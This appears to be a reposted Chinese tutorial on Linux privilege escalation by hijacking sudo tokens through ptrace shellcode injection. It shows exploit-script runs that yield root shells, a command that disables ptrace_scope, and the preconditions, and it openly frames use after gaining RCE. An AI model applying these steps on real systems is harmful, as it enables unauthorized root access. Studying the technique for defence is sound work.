小編給大家分享一下linux中如何利用sudo token實現提權,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
$sudo whatever [sudo]password for user: # Press<ctrl>+c since you don't have the password. # This creates an invalidsudo tokens. $ sh exploit.sh ....wait 1 seconds $sudo -i # no password required :) # id uid=0(root)gid=0(root) groups=0(root)
1、 完全啟用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);
2、 當前用戶必須開啟一個擁有有效sudo令牌并且相同uid的活動進程;
注:默認密碼的超時時間為15分鐘,如果你在15分鐘內使用sudo兩次,系統就不會要求你再輸入用戶的sudo密碼了。
項目目錄中的Exploit.sh會向當前用戶的所有進程注入Shell代碼,并使用它們的sudo令牌來驗證我們自己的sudo口令。僅需三行Shell代碼,一切皆有可能。
假設,你拿到了一個RCE,而且沒有用戶密碼,但目標用戶使用了sudo,那么你就可以通過竊取他的sudo令牌來實現提權啦!
如何在實驗環境中模擬?
#echo 0 > /proc/sys/kernel/yama/ptrace_scope # #Don't worry this is not persistent accross reboot
打開兩個終端窗口:
1、 其中一個執行sudo命令,然后輸入正確的用戶密(sudo ls);
2、 另一個按照上述方法執行漏洞利用代碼;
如果exploit_v1無法成功的話,大家可以嘗試一下exploit_v2.sh:
$./exploit_v2.sh Currentprocess : 2441 chmod:changing permissions of 'activate_sudo_token': Operation not permitted Injectingprocess 1721 -> bash Injectingprocess 2433 -> bash cat:/proc/2446/comm: No such file or directory Injectingprocess 2446 -> $/tmp/sh -p # id uid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
看完了這篇文章,相信你對“linux中如何利用sudo token實現提權”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。